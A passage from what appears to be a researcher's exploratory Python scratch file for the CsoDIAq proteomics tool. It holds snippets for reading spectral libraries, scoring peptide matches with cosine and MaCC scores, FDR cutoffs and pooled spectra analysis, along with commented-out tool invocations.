pd.read_csv('C:/Users/ccranney/Desktop/Caleb_Files/data/docker-shared/human.tsv',sep='\\t')\ndf = pd.read_csv('C:/Users/ccranney/Desktop/Caleb_Files/data/lib_tsv.tsv',sep='\\t')\n#print(df.head(10))\n#df = df[df['ProteinName'].str.contains('DECOY')]\ndf = df[df['decoy']==1]\n#df = df.head(100)\n#df.to_csv('C:/Users/ccranney/Desktop/Caleb_Files/data/lib_tsv_abbrev.csv')\nprint(len(df))\n#'''\n'''\n# checking hov FullUniMode differs from PeptideSequence\ndiffs = set()\ndf = pd.read_csv('C:/Users/ccranney/Desktop/Caleb_Files/data/lib_tsv.tsv',sep='\\t')\nfor index, row in df.iterrows():\n    if row['PeptideSequence'] != row['FullUniModPeptideName']:\n        diffs.add((row['PeptideSequence'],row['FullUniModPeptideName']))\n\nprint(len(diffs))\nprint(sorted(diffs)[:20])\n#'''\n'''\n# Counting peptides in targetted re-analysis files\nfiles = [\n    'C:/Users/ccranney/Desktop/Caleb_Files/data/output/CsoDIAq-file1_20210222_DISPA_hela_03_corrected_mostIntenseTargs_-30.0.csv',\n    'C:/Users/ccranney/Desktop/Caleb_Files/data/output/CsoDIAq-file1_20210222_DISPA_hela_03_corrected_mostIntenseTargs_-40.0.csv',\n    'C:/Users/ccranney/Desktop/Caleb_Files/data/output/CsoDIAq-file1_20210222_DISPA_hela_03_corrected_mostIntenseTargs_-50.0.csv',\n    'C:/Users/ccranney/Desktop/Caleb_Files/data/output/CsoDIAq-file1_20210222_DISPA_hela_03_corrected_mostIntenseTargs_-60.0.csv',\n    'C:/Users/ccranney/Desktop/Caleb_Files/data/output/CsoDIAq-file1_20210222_DISPA_hela_03_corrected_mostIntenseTargs_-70.0.csv',\n    'C:/Users/ccranney/Desktop/Caleb_Files/data/output/CsoDIAq-file1_20210222_DISPA_hela_03_corrected_mostIntenseTargs_-80.0.csv',\n]\ncount = 0\nfor file in files:\n    print(file)\n    df = pd.read_csv(file)\n    peptides = df['Compound']\n    for pep in peptides:\n        peps = pep.split('/')\n        count += len(peps)\nprint(count)\n#'''\n'''\n# convert tsv to csv\ndf = pd.read_csv('C:/Users/ccranney/Desktop/Caleb_Files/data/docker-shared/qehfx.tsv', sep='\\t')\ndf.to_csv('C:/Users/ccranney/Desktop/Caleb_Files/data/docker-shared/qehfx.csv')\n#'''\n'''\n#counting MGF spectra in a file\nspectra = mgf.read('C:/Users/ccranney/Desktop/Caleb_Files/data/human.faims.fixed.decoy.mgf')\ncount = 0\nfor spec in spectra: count += 1\nprint(count)\n'''\n'''\n#testing table manipulations\nwith bz2.BZ2File('C:/Users/ccranney/Desktop/Caleb_Files/data/output/compressTest/compressed_processObj_canDeleteAfter/window0', 'rb') as pickleFile: data = pickle.load(pickleFile)\nprint(data.head(10))\n\ndef calc_macc(df):\n    lib = df['libIntensity']\n    que = df['queIntensity']\n    AB = lib.multiply(que).sum()\n    A = lib.pow(2).sum()\n    B = que.pow(2).sum()\n    cosine = cbf.cosine_similarity([AB, A, B])\n    return (len(df)**(1/5))*cosine\n#test = data.groupby(['libID','queID']).apply(calc_macc)\n#print(data.head(10))\ntempDict = {}\ngrouped = data.groupby(['libID','queID'])\nprint(grouped.ngroups)\ndata2 = grouped.filter(lambda x: len(x.index) > 2.)\ngrouped = data2.groupby(['libID','queID'])\ntempList = [(21, 42743),\n(21, 44234),\n(21, 44376),\n(21, 44447),\n(21, 47003),\n(21, 64256),\n(21, 64611),\n(21, 64966),\n(21, 71782),\n(21, 71853),\n(21, 71924),\n(21, 71995),\n(21, 72066),\n(21, 72208),\n(21, 72279),\n(21, 72350),\n(21, 72421),\n(21, 72705),\n(21, 72776),\n(21, 72847),\n(21, 72989),\n(21, 73060),\n(21, 73131),\n(21, 73202),\n(21, 73273),\n(21, 73344),\n(21, 76965),\n(21, 77036),\n(21, 77107),\n(21, 77178),\n(21, 77249),\n(21, 77320),\n(21, 77391),\n(21, 77604),\n(21, 77817),\n(21, 85272),\n(41, 85201),\n(60, 52825),\n(60, 53180),\n(60, 65250),\n(60, 65321),\n(60, 65392),\n(60, 69439),\n(60, 69510),\n(60, 78598),\n(60, 78669),\n(60, 78811),\n(84, 37276),\n(84, 37347),\n(84, 37489),\n(84, 37560),\n(86, 36424),\n(86, 42388),\n(86, 42459),\n(86, 42530),\n(86, 42601),\n(86, 42814),\n(86, 42956),\n(86, 43382),\n(86, 43524),\n(86, 49204),\n(86, 49346),\n(86, 50908),\n(86, 59925),\n(96, 34862),\n(96, 34933),\n(96, 35004),\n(96, 35075),\n(96, 35146),\n(96, 37915),\n(96, 42246),\n(96, 42672),\n(96, 42743),\n(96, 42814),\n(96, 44589),\n(96, 44660),\n(96, 44731),\n(96, 44802),\n(96, 44873),\n(96, 44944),\n(96, 45015),\n(96, 45086),\n(96, 45228),\n(96, 45370),\n(96, 45441),\n(96, 45583),\n(96, 52896),\n(96, 56446),\n(96, 56517),\n(96, 56588),\n(96, 56659),\n(96, 61203),\n(96, 65037),\n(96, 78740),\n(96, 78953),\n(96, 79024),\n(96, 79166),\n(96, 79237)]\nfor x in tempList: tempDict[x]=0\n#data2['MaCC'] = grouped.apply(lambda x,d: d[x.name])\ndata2['MaCC'] = data2.groupby(['libID','queID']).apply(lambda x,d: print(d[x.name]),tempDict)\n#d[tuple(x.name)]\n#count = 0\n#for name, group in grouped:\n#    print(type(name))\n#    count += 1\n#    if count==10: break\n#print(grouped.ngroups)\n#data2['MaCC'] = grouped.apply(calc_macc)\n#for name, group in grouped:\n#    macc = calc_mass(group)\n#print(data2.head(10))\n'''\n'''\n# Writing/testing reduction function\ndef reduce_final_df(matchLibTags, matchLibIntensities, matchQueTags, matchQueIntensities, ppmMatches):\n    curLibTag = matchLibTags[0]\n    curQueTag = matchQueTags[0]\n    count = 1\n    #maccScores = []\n    AB = matchLibIntensities[0]*matchQueIntensities[0]\n    A = matchLibIntensities[0]**2\n    B = matchQueIntensities[0]**2\n    returnLibTags = []\n    returnLibIntensities = []\n    returnQueTags = []\n    returnQueIntensities = []\n    returnPpmMatchs = []\n    returnMaccScores = []\n    length = len(matchLibTags)\n    for i in range(1,length):\n        if matchLibTags[i] != curLibTag or matchQueTags[i] != curQueTag:\n            if count > 2:\n                cosine = cbf.cosine_similarity(AB, A, B)\n                macc = (count**(1/5))*cosine\n                magnitude = (A**0.5) * (B**0.5) # (sqrt(sum(A^2))*sqrt(sum(B^2)))\n                returnLibTags.extend(matchLibTags[i-count:i])\n                returnLibIntensities.extend(matchLibIntensities[i-count:i])\n                returnQueTags.extend(matchQueTags[i-count:i])\n                returnQueIntensities.extend(matchQueIntensities[i-count:i])\n                returnPpmMatchs.extend(ppmMatches[i-count:i])\n                returnMaccScores.extend([macc]*count)\n            count = 1\n            curLibTag = matchLibTags[i]\n            curQueTag = matchQueTags[i]\n            AB = matchLibIntensities[i]*matchQueIntensities[i]\n            A = matchLibIntensities[i]**2\n            B = matchQueIntensities[i]**2\n        else:\n            AB += matchLibIntensities[i]*matchQueIntensities[i]\n            A += matchLibIntensities[i]**2\n            B += matchQueIntensities[i]**2\n            count += 1\n    if count > 2:\n        cosine = cbf.cosine_similarity(AB, A, B)\n        macc = (count**(1/5))*cosine\n        returnLibTags.extend(matchLibTags[length-count:])\n        returnLibIntensities.extend(matchLibIntensities[length-count:])\n        returnQueTags.extend(matchQueTags[length-count:])\n        returnQueIntensities.extend(matchQueIntensities[length-count:])\n        returnPpmMatchs.extend(ppmMatches[length-count:])\n        returnMaccScores.extend([macc]*count)\n        count = 1\n\n    return returnLibTags, returnLibIntensities, returnQueTags, returnQueIntensities, returnPpmMatchs, returnMaccScores\n\nlibTags = np.repeat(np.arange(0,10),3)\nlibIntensities = np.arange(1.0,31.0)\nqueTags = np.repeat(np.arange(0,5),6)\nqueIntensities = np.arange(31.0,61.0)\nppmMatches = np.arange(61.0,91.0)\n#print(libTags)\n#print(libIntensities)\n#print(queTags)\n#print(queIntensities)\n#print(ppmMatches)\n\n\nmatchLibTags, matchLibIntensities, matchQueTags, matchQueIntensities, ppmMatches, maccScores = reduce_final_df(libTags, libIntensities, queTags, queIntensities, ppmMatches)\n\n#print(len(libTags))\n#print(len(matchLibTags))\n#print(len(set(maccScores)))\n#print(libTags)\n#print(matchLibTags)\nprint(maccScores)\n'''\n'''\n# Testing last part of \"compression\" attempt\n@njit\ndef match_score_decoys(matchLibTags, matchQueTags, maccScores, decoys):\n    curLibTag = matchLibTags[0]\n    curQueTag = matchQueTags[0]\n    returnMaccs = [maccScores[0]]\n    returnDecoys = [decoys[0]]\n    length = len(matchLibTags)\n    for i in range(1,length):\n        if matchLibTags[i] != curLibTag or matchQueTags[i] != curQueTag:\n            returnMaccs.append(maccScores[i])\n            returnDecoys.append(decoys[i])\n            curLibTag = matchLibTags[i]\n            curQueTag = matchQueTags[i]\n    #return returnLibTags, returnLibIntensities, returnQueTags, returnQueIntensities, returnPpmMatchs, returnMaccScores\n    return returnMaccs, returnDecoys\n\n@njit\ndef fdr_calculation2(maccs, decoys): #***NOTE***make return type\n    # initializing the two return values at 0\n    numDecoys = 0\n\n    # for every row in the dataframe\n    count = 0\n    for i in range(len(maccs)):\n        #print(str(maccs[i])+':'+str(decoys[i]))\n        if decoys[i]: numDecoys += 1\n        # calculates the FDR up to this point in the data frame.\n        curFDR = numDecoys/(count+1)\n\n        # conditional statement comparing the current FDR to the FDR Cutoff. If larger, function values are returned.\n        if curFDR > 0.01:\n\n            # if the number of rows has not yet reached the minimum number that allows for the FDR cutoff, 0 is returned instead.\n            if count < 1/0.01: return -1\n            return maccs[i-1]\n        count += 1\n\n    return maccs[-1]\n\ndef collect_ppm_values(ppmMatches, maccScores, maccCutoff):\n    ppms = []\n    length = len(ppmMatches)\n    for i in range(1,length):\n        if maccScores[i] >= maccCutoff: ppms.append(ppmMatches[i])\n    #return returnLibTags, returnLibIntensities, returnQueTags, returnQueIntensities, returnPpmMatchs, returnMaccScores\n    return ppms\n\n#test = np.arange(10,0,-1)\n#print(type(test.argsort()))\n#print(type(np.where((test>2)*(test<8))[0]))\nwith bz2.BZ2File('C:/Users/ccranney/Desktop/Caleb_Files/data/output/CompressTest/compressed_processObj_canDeleteAfter/windowallFinals', 'rb') as pickleFile: data = pickle.load(pickleFile)\nfinalLibTags, finalLibIntensities, finalQueTags, finalQueIntensities, finalPpmMatches, finalMaccScores, finalDecoys = data\nprint(len(finalDecoys))\nprint(timer())\n#temp1, temp2 = match_score_decoys(np.array([],dtype=int),np.array([],dtype=int),np.array([],dtype=float),np.array([],dtype=int))\n#print(timer())\nmaccs, decoys = match_score_decoys(finalLibTags, finalQueTags, finalMaccScores, finalDecoys)\nprint(timer())\nprint(len(maccs))\nprint(len(set(finalMaccScores)))\nprint(len(set(maccs)))\nmaccs = np.array(maccs)\ndecoys = np.array(decoys)\ni1 = (-maccs).argsort()\nmaccs = maccs[i1]\ndecoys = decoys[i1]\nmaccCutoff = fdr_calculation2(maccs, decoys)\nprint(maccCutoff)\ncutoff = 1.4357304070871908\nppms = collect_ppm_values(finalPpmMatches, finalMaccScores, maccCutoff)\noffset, tolerance = cbf.find_offset_tol(ppms, 'C:/Users/ccranney/Desktop/Caleb_Files/data/output/CompressTest/CsoDIAq-file1_01_qehfx_lab_SA_R1_histogram.png', stdev=0)\nprint(offset,tolerance)\nlowend = offset-tolerance\nhighend = offset+tolerance\nppmIndices = np.where((finalPpmMatches>lowend)*(finalPpmMatches<highend))[0]\nprint(len(ppmIndices))\ntempTags = finalLibTags[ppmIndices]\nprint(len(tempTags))\nprint(ppmIndices[:10])\nprint(tempTags[:10])\ncorLibTags, corLibIntensities, corQueTags, corQueIntensities, corDecoys = [x[ppmIndices] for x in [finalLibTags, finalLibIntensities, finalQueTags, finalQueIntensities, finalDecoys]]\ncorLibTags, corLibIntensities, corQueTags, corQueIntensities, corDecoys, corMaccScores = cbf.reduce_final_df(corLibTags, corLibIntensities, corQueTags, corQueIntensities, corDecoys)\nmaccs, decoys = match_score_decoys(corLibTags, corQueTags, corMaccScores, corDecoys)\ni1 = (-maccs).argsort()\nmaccs = maccs[i1]\ndecoys = decoys[i1]\nmaccCutoff = fdr_calculation2(maccs, decoys)\n'''\n'''\n#testing numpy compression\nt1 = np.arange(10)\nt2 = np.arange(10,20)\nt3 = np.arange(20,30)\ncompressed_array = io.BytesIO()\ncompressed_array2 = io.BytesIO()\n\n#np.savez_compressed(compressed_array, t1=t1, t2=t2, t3=t3)\nnp.savez_compressed(compressed_array, t1=t1)\nnp.savez_compressed(compressed_array2, t1=t2)\n#np.savez_compressed(compressed_array, t3=t3)\n\ncompList = [compressed_array, compressed_array2]\nfor x in compList:\n    x.seek(0)\n    decompressed_array = np.load(x)\n    print(decompressed_array['t1'])\n    #print(decompressed_array['t2'])\n#print(decompressed_array['t3'])\n#'''\n'''\n# testing the old method for calculating FDR rates\ntest = pd.read_csv('C:/Users/ccranney/Desktop/Caleb_Files/data/output/100reps_mgf_10iniTol/CsoDIAq-file17_20200719_MAGIC_MCF7_1128repro_17_corrected_full.csv').sort_values('cosine', ascending=False).reset_index(drop=True)\n\nbestHits = 0\nbestOutput = [0,0,0,0]\nfor i in range(3,11):\n    temp = test[test['shared'] > i-1].reset_index(drop=True)\n    hits, decoys = cbf.fdr_calculation(temp)\n    if hits > bestHits: bestOutput = [0, hits, temp.loc[hits-1]['cosine'], 'Naive CsoDIAq, corrected']; bestHits = hits\n    if hits != 0: print([0, hits, temp.loc[hits-1]['cosine'], 'Naive CsoDIAq, corrected'])\n    else: print([0, hits, 'null', 'Naive CsoDIAq, corrected'])\n\nprint(len(test))\nprint(bestOutput)\n#'''\n'''\n# comparing two data frames (csodiaq outputs) and checking for similarities/differences\ndf1 = pd.read_csv('C:/Users/ccranney/Desktop/Caleb_Files/data/output/100reps_tsv_10iniTol_6min/CsoDIAq-file64_20200719_MAGIC_MCF7_1128repro_64_full.csv')\ndf2 = pd.read_csv('C:/Users/ccranney/Desktop/Caleb_Files/data/csodiaq_lib-human-noloss-400to2000-pt2mz-6peaks_exp-100reps-rep64.csv')\n\ndf1 = df1.sort_values('peptide').reset_index(drop=True)\ndf2 = df2.sort_values('peptide').reset_index(drop=True)\n\ndf1 = df1.loc[:, df1.columns.intersection([\n                    'scan', 'MzEXP', 'peptide', 'protein', 'MzLIB', 'zLIB',\n                    'cosine', 'name', 'Peak(Query)', 'Peaks(Library)', 'shared',\n                    'CompensationVoltage', 'totalWindowWidth'])]\ndf2 = df2.loc[:, df2.columns.intersection([\n                    'scan', 'MzEXP', 'peptide', 'protein', 'MzLIB', 'zLIB',\n                    'cosine', 'name', 'Peak(Query)', 'Peaks(Library)', 'shared',\n                    'CompensationVoltage', 'totalWindowWidth'])]\nprint(df1.head(10))\nprint(df2.head(10))\n\n#df1.drop(['fileName','MaCC_Score'],axis=1, inplace=True)\n#df2.drop(['fileName','zEXP'],axis=1, inplace=True)\n\n#df1 = df1.sort_values('peptide').reset_index(drop=True)\n#df2 = df2.sort_values('peptide').reset_index(drop=True)\n\n#print(df1.loc[0])\n#print()\n#print(df2.loc[0])\n\nmerged = df1.merge(df2, how='outer', indicator=True)\nmerged.to_csv('C:/Users/ccranney/Desktop/Caleb_Files/data/old_v_new.csv', index=False)\nprint(merged.head(10))\n#'''\n'''\n# deleting all files but the ones I want from a folder\nhead = 'C:/Users/ccranney/Desktop/Caleb_Files/data/output/Output/'\nallFiles = os.listdir(head)\n#for x in allFiles: print(x); print(re.match('C:/Users/ccranney/Desktop/Caleb_Files/data/output/Output/csodiaq_lib-human-noloss-400to2000-pt2mz-31peaks_exp-100reps-rep(\\d{2,3})(_corrected)?\\.csv', head+x))\nfiles = [head+x for x in list(os.listdir(head)) if not re.match('C:/Users/ccranney/Desktop/Caleb_Files/data/output/Output/csodiaq_lib-human-noloss-400to2000-pt2mz-6peaks_exp-100reps-rep(\\d{2,3})(_corrected)?\\.csv', head+x)]\nfor x in files: os.remove(x)\nprint(len(files))\n#'''\n\nfileName = 'C:/Users/ccranney/Desktop/Caleb_Files/data/human.faims.fixed.decoy_proteinsAdded.mgf'\n#fileName = 'C:/Users/ccranney/Desktop/Caleb_Files/data/lib_tsv.tsv'\nlibPeaks = [10]\nexpPath = 'C:/Users/ccranney/Desktop/Caleb_Files/data/100mzxml/'\noutPath = 'C:/Users/ccranney/Desktop/Caleb_Files/data/output/test_libPeaks_minMatch/'\nfiles = [expPath+x for x in list(os.listdir(expPath))]\n#files = ['C:/Users/ccranney/Desktop/Caleb_Files/data/ID1.mzxml']\nminMatch = [3]\nfor lp in libPeaks:\n    lib = cbf.library_file_to_dict(fileName, lp)\n    for i in range(len(files)):\n        outHeader = 'CsoDIAq-file' +str(i+1)+'_'+ '.'.join(files[i].split('/')[-1].split('.')[:-1]) + 'MaCC' + '_libPeak' + str(lp)\n        ppmTol = 10\n        offset = 0\n        queryPooling = np.inf\n        corrected = 0\n        histFile = 0\n        for match in minMatch:\n            if match < lp:\n                outFile = outPath + outHeader + '_minMatch'+ str(match)+'_corrected.csv'\n                cbf.pooled_spectra_analysis(  files[i],\n                #cbf2.pooled_spectra_analysis(  files[i],\n                                                    outFile,\n                                                    lib,\n                                                    ppmTol,\n                                                    offset,\n                                                    queryPooling,\n                                                    corrected,\n                                                    histFile,\n                                                    match)\n\n\n\n\n\n\n\n#java -Xmx2500M -cp C:/Users/ccranney/Desktop/Caleb_Files/MSPLIT-DIAv1.0/MSPLIT-DIAv02102015.jar org.Spectrums.SWATHMSPLITSearch 02 10 0 C:/Users/ccranney/Desktop/Caleb_Files/data/HeLa_160min_DIA_106win_1.mzXML C:/Users/ccranney/Desktop/Caleb_Files/data/human.faims.fixed.decoy.mgf C:/Users/ccranney/Desktop/Caleb_Files/data/output/msplit_HeLa_02-10-0.tsv\n#docker run -it -v C:/Users/ccranney/Desktop/Caleb_Files/data/docker-shared:/data openswath/openswath\n#TargetedFileConverter -in phl004_consensus_openms24.TraML -out consensus.tsv\n#OpenSwathWorkflow -in 01_qehfx_lab_SA_R1.mzXML -tr consensus.tsv -out_features qehfx.featureXML\n'''\n                        decoyList = [idToDecoyDict[x] for x in libTags]\n                        #libMzs = np.array([x[0] for x in pooledLibSpectra])\n                        queMzs = np.array([x[0] for x in pooledQueSpectra])\n                        tempTag = 'identify'\n                        returns = initialize_return_values(tempTag)\n\n                        matchLibTags, matchLibIntensities, matchQueTags, matchQueIntensities, ppmMatches, matchDecoys = spectra_peak_comparison(libMzs, libIntensities, libTags, queMzs, queIntensities, queTags, decoyList, ppmTol, ppmYOffset)\n                        #data = pd.DataFrame({'libID':matchLibTags, 'queID':matchQueTags, 'libIntensity':matchLibIntensities, 'queIntensity':matchQueIntensities, 'ppmDiff':ppmMatches})\n                        #data = data.groupby(['libID','queID']).filter(lambda x: len(x.index) > 2.)\n                        #print(len(data))\n                        matchLibTags, matchLibIntensities, matchQueTags, matchQueIntensities, ppmMatches, matchDecoys = [np.array(x) for x in [matchLibTags, matchLibIntensities, matchQueTags, matchQueIntensities, ppmMatches, matchDecoys]]\n                        i1 = matchQueTags.argsort(kind='mergesort')\n                        matchLibTags, matchLibIntensities, matchQueTags, matchQueIntensities, ppmMatches, matchDecoys = [x[i1] for x in [matchLibTags, matchLibIntensities, matchQueTags, matchQueIntensities, ppmMatches, matchDecoys]]\n                        i2 = matchLibTags.argsort(kind='mergesort')\n                        matchLibTags, matchLibIntensities, matchQueTags, matchQueIntensities, ppmMatches, matchDecoys = [x[i2] for x in [matchLibTags, matchLibIntensities, matchQueTags, matchQueIntensities, ppmMatches, matchDecoys]]\n                        #reduce_final_df(matchLibTags, matchLibIntensities, matchQueTags, matchQueIntensities, ppmMatches)\n                        matchLibTags, matchLibIntensities, matchQueTags, matchQueIntensities, ppmMatches, matchDecoys, maccScores = reduce_final_df(matchLibTags, matchLibIntensities, matchQueTags, matchQueIntensities, ppmMatches, matchDecoys)\n                        test = [idToDecoyDict[x] for x in matchLibTags]\ndef reduce_final_df(matchLibTags, matchLibIntensities, matchQueTags, matchQueIntensities, ppmMatches, matchDecoys):\n    curLibTag = matchLibTags[0]\n    curQueTag = matchQueTags[0]\n    count = 1\n    AB = matchLibIntensities[0]*matchQueIntensities[0]\n    A = matchLibIntensities[0]**2\n    B = matchQueIntensities[0]**2\n    returnLibTags = []\n    returnLibIntensities = []\n    returnQueTags = []\n    returnQueIntensities = []\n    returnPpmMatches = []\n    returnDecoys = []\n    returnMaccScores = []\n    length = len(matchLibTags)\n    for i in range(1,length):\n        if matchLibTags[i] != curLibTag or matchQueTags[i] != curQueTag:\n            if count > 2:\n                test = 0\n                cosine = cosine_similarity(AB, A, B)\n                macc = (count**(1/5))*cosine\n                magnitude = (A**0.5) * (B**0.5) # (sqrt(sum(A^2))*sqrt(sum(B^2)))\n                returnLibTags.extend(matchLibTags[i-count:i])\n                returnLibIntensities.extend(matchLibIntensities[i-count:i])\n                returnQueTags.extend(matchQueTags[i-count:i])\n                returnQueIntensities.extend(matchQueIntensities[i-count:i])\n                returnPpmMatches.extend(ppmMatches[i-count:i])\n                returnDecoys.extend(matchDecoys[i-count:i])\n                returnMaccScores.extend([macc]*count)\n\n            count = 1\n            curLibTag = matchLibTags[i]\n            curQueTag = matchQueTags[i]\n            AB = matchLibIntensities[i]*matchQueIntensities[i]\n            A = matchLibIntensities[i]**2\n            B = matchQueIntensities[i]**2\n        else:\n            AB += matchLibIntensities[i]*matchQueIntensities[i]\n            A += matchLibIntensities[i]**2\n            B += matchQueIntensities[i]**2\n            count += 1\n    if count > 2:\n        test = 0\n        cosine = cosine_similarity(AB, A, B)\n        macc = (count**(1/5))*cosine\n        returnLibTags.extend(matchLibTags[length-count:])\n        returnLibIntensities.extend(matchLibIntensities[length-count:])\n        returnQueTags.extend(matchQueTags[length-count:])\n        returnQueIntensities.extend(matchQueIntensities[length-count:])\n        returnPpmMatches.extend(ppmMatches[length-count:])\n        returnDecoys.extend(matchDecoys[length-count:])\n        returnMaccScores.extend([macc]*count)\n\n    #return returnLibTags, returnLibIntensities, returnQueTags, returnQueIntensities, returnPpmMatchs, returnMaccScores\n    return returnLibTags, returnLibIntensities, returnQueTags, returnQueIntensities, returnPpmMatches, returnDecoys, returnMaccScores\n\n####################################\n                        matchLibTags, matchLibIntensities, matchQueTags, matchQueIntensities, ppmMatches = spectra_peak_comparison(libMzs, libIntensities, libTags, queMzs, queIntensities, queTags, ppmTol, ppmYOffset)\n\n                        matchLibTags, matchLibIntensities, matchQueTags, matchQueIntensities, ppmMatches = [np.array(x) for x in [matchLibTags, matchLibIntensities, matchQueTags, matchQueIntensities, ppmMatches]]\n                        i1 = matchQueTags.argsort(kind='mergesort')\n                        matchLibTags, matchLibIntensities, matchQueTags, matchQueIntensities, ppmMatches = [x[i1] for x in [matchLibTags, matchLibIntensities, matchQueTags, matchQueIntensities, ppmMatches]]\n                        i2 = matchLibTags.argsort(kind='mergesort')\n                        matchLibTags, matchLibIntensities, matchQueTags, matchQueIntensities, ppmMatches = [list(x[i2]) for x in [matchLibTags, matchLibIntensities, matchQueTags, matchQueIntensities, ppmMatches]]\n                        #reduce_final_df(matchLibTags, matchLibIntensities, matchQueTags, matchQueIntensities, ppmMatches)\n                        matchLibTags, matchLibIntensities, matchQueTags, matchQueIntensities, ppmMatches, maccScores = reduce_final_df(matchLibTags, matchLibIntensities, matchQueTags, matchQueIntensities, ppmMatches)\n                        print(len(set(maccScores)))\n                        #data = pd.DataFrame({'libID':matchLibTags, 'queID':matchQueTags, 'libIntensity':matchLibIntensities, 'queIntensity':matchQueIntensities, 'ppmDiff':ppmMatches})\n                        #data = pd.concat(dfs)\n                        #data = data.groupby(['libID','queID']).filter(lambda x: len(x.index) > 2.)\n                        #data = data.groupby(['libID','queID']).apply(add_macc_column, maccDict)\n\n                        #data, NAlist = reduce_mem_usage(data)\n                        #allDfs.append(data)\n                        #with bz2.BZ2File(pickleDir+pickleHeader+str(count), 'w') as pickleFile: pickle.dump(data, pickleFile)\n\n                        pooledQueSpectra.clear()\n                        del returns\n\n\n                count += 1\n                if count % printCutoff == 0:\n                    time = timer()\n                    #print('\\nNumber of Pooled Experimental Spectra Analyzed: ' + str(count))\n                    #print('Number of Spectra in Current Pooled Spectra: ' + str(len(scans)))\n                    #print('Time Since Last Checkpoint: ' + str(round(time-prevtime,2)) + ' Seconds', flush=True)\n                    print(round(time-prevtime,2),flush=True)\n                    prevtime = time\n\n\n    # Prints the final number of experimental spectra analyzed.\n    print('Total Time (seconds): ' + str(timer()))\n    print('Count: '+str(count),flush=True)\n    if tag=='identify': return ppmList\n#''\n#@njit\ndef reduce_final_df(matchLibTags, matchLibIntensities, matchQueTags, matchQueIntensities, ppmMatches):\n    curLibTag = matchLibTags[-1]\n    curQueTag = matchQueTags[-1]\n    count = 1\n    maccScores = []\n    AB = matchLibIntensities[-1]*matchQueIntensities[-1]\n    A = matchLibIntensities[-1]**2\n    B = matchQueIntensities[-1]**2\n    for i in reversed(range(len(matchLibTags)-1)):\n        if matchLibTags[i] != curLibTag and matchQueTags[i] != curQueTag:\n            if count == 1:\n                matchLibTags.pop(i-1)\n                matchLibIntensities.pop(i-1)\n                matchQueTags.pop(i-1)\n                matchQueIntensities.pop(i-1)\n                ppmMatches.pop(i-1)\n            else:\n                cosine = cosine_similarity([AB, A, B])\n                macc = (count**(1/5))*cosine\n                maccScores.extend([macc]*count)\n                count = 1\n            curLibTag = matchLibTags[i]\n            curQueTag = matchQueTags[i]\n            AB = matchLibIntensities[i]*matchQueIntensities[i]\n            A = matchLibIntensities[i]**2\n            B = matchQueIntensities[i]**2\n        else:\n            AB += matchLibIntensities[-1]*matchQueIntensities[-1]\n            A += matchLibIntensities[-1]**2\n            B += matchQueIntensities[-1]**2\n            count += 1\n\n    return matchLibTags, matchLibIntensities, matchQueTags, matchQueIntensities, ppmMatches, maccScores[::-1]\n\ndef pooled_spectra_analysis(expSpectraFile, outFile, lib, ppmTol, ppmYOffset, queryPooling, spectraKeys=None):\n\n    pickleDir = '/'.join(outFile.split('/')[:-1]) + '/compressed_processObj_canDeleteAfter/'\n    if not os.path.exists(pickleDir):\n        os.mkdir(pickleDir)\n    pickleHeader = 'window'\n\n    # query data file is loaded\n    with mzxml.read(expSpectraFile, use_index=True) as spectra:\n\n\n        # query data is looped over and scans are grouped by mz windows for future pooling.\n        #  Additionally, for the second condition, various variables are saved for future reference.\n        queScanDict = defaultdict(list)\n        queValDict = defaultdict(dict)\n        spectralCount = 0\n\n        for spec in spectra:\n            if 'precursorMz' not in spec: continue\n            queScanDict[spec['precursorMz'][0]['precursorMz'],spec['precursorMz'][0]['windowWideness']].append(spec['num'])\n            #if scan=='1199' or scan=='1200': print((spec['precursorMz'][0]['precursorMz'],spec['precursorMz'][0]['windowWideness']))\n            peaksCount = spec['peaksCount']\n            if 'compensationVoltage' in spec: CV = spec['compensationVoltage']\n            else: CV = ''\n            queValDict[spec['num']]['peaksCount'] = peaksCount\n            queValDict[spec['num']]['CV'] = CV\n            spectralCount += 1\n\n        print('Number of Unpooled MS/MS Query Spectra: ' + str(spectralCount))\n        print('Number of Pooled MS/MS Query Spectra/Mz Windows: ' + str(len(queScanDict)),flush=True)\n\n        # To enhance the print experience, status prints will be given at intervals tailored to the number of identified windows.\n        #  example: if there are 1-99 pooled query spectra, print statements are made after every pooled query spectra analysis is complete.\n        #           if there are 100-999, print after every 10 pooled spectra. And so on.\n        printCutoff = 100\n        while printCutoff < len(queScanDict): printCutoff*=10\n        printCutoff /= 100\n\n        # 'lib' dictionary keys are kept as a separate list in this analysis. Note that they are sorted by precursor m/z.\n        allLibKeys = lib.keys()\n        allLibKeys = sorted(allLibKeys)\n\n        # outfile is opened in advance so results can be written directly to the file as they are produced (mitigating memory use)\n        # The second condition of this function returns a list of PPM differences that can be used for correction. Initialized here\n        ppmList = []\n\n        # Count variable keeps track of the number of query spectra that have been analyzed for time tracking purposes.\n        count = 0\n\n        # Library keys were saved as an integer to save on time and simplify other parts of the algorithm. I believe the purpose is now defunct, but it's harmless, so I'm keeping it.\n        idToKeyDict = {}\n        for key in allLibKeys: idToKeyDict[lib[key]['ID']] = key\n\n        # tracking time for print statements.\n        prevtime = timer()\n\n        print('Enter Pooled Spectra Analysis:')\n        print(str(timedelta(seconds=prevtime)), flush=True)\n\n        columns=['libID','queID','libIntensity','queIntensity','ppmDiff']\n        allDfs = []\n        allData = []\n        maccDecoys = []\n        decs = []\n        # looping through all the windows that the query data corresponds to\n        for precMz_win, scans in queScanDict.items():\n\n            # Determining all library spectra that should be pooled for this particular query data window\n            top_mz = precMz_win[0] + precMz_win[1] / 2\n            bottom_mz = precMz_win[0] - precMz_win[1] / 2\n            libKeys = lib_mz_match_query_window( top_mz, bottom_mz, allLibKeys )\n            if len(libKeys) == 0: continue\n            pooledLibSpectra = pool_lib_spectra(lib, libKeys)\n\n            # begin pooling query spectra\n            pooledQueSpectra = []\n            returns = initialize_return_values('identify')\n            for i in range(len(scans)):\n\n                # adding each scan in the window to the pooled spectra\n                scan = scans[i]\n                spec = spectra.get_by_id(scan)\n                intensity = [x**0.5 for x in spec['intensity array']]\n                peakIDs = [int(scan) for x in range(spec['peaksCount'])]\n                pooledQueSpectra += list(zip(spec['m/z array'],intensity,peakIDs))\n\n                # to reduce memory use for particularly large files, the user can limit the number of query spectra that are pooled. That's what this conditional statement takes care of.\n                if (i % queryPooling == 0 and i!=0) or i == len(scans)-1:\n                    pooledQueSpectra.sort()\n\n                    # each peak in the pooled library and query spectra is compared, and the necessary data is extracted from matching peaks (as determined by the ppm tolerance)\n                    libMzs = np.array([x[0] for x in pooledLibSpectra])\n                    queMzs = np.array([x[0] for x in pooledQueSpectra])\n\n                    pMatch, jMatch, 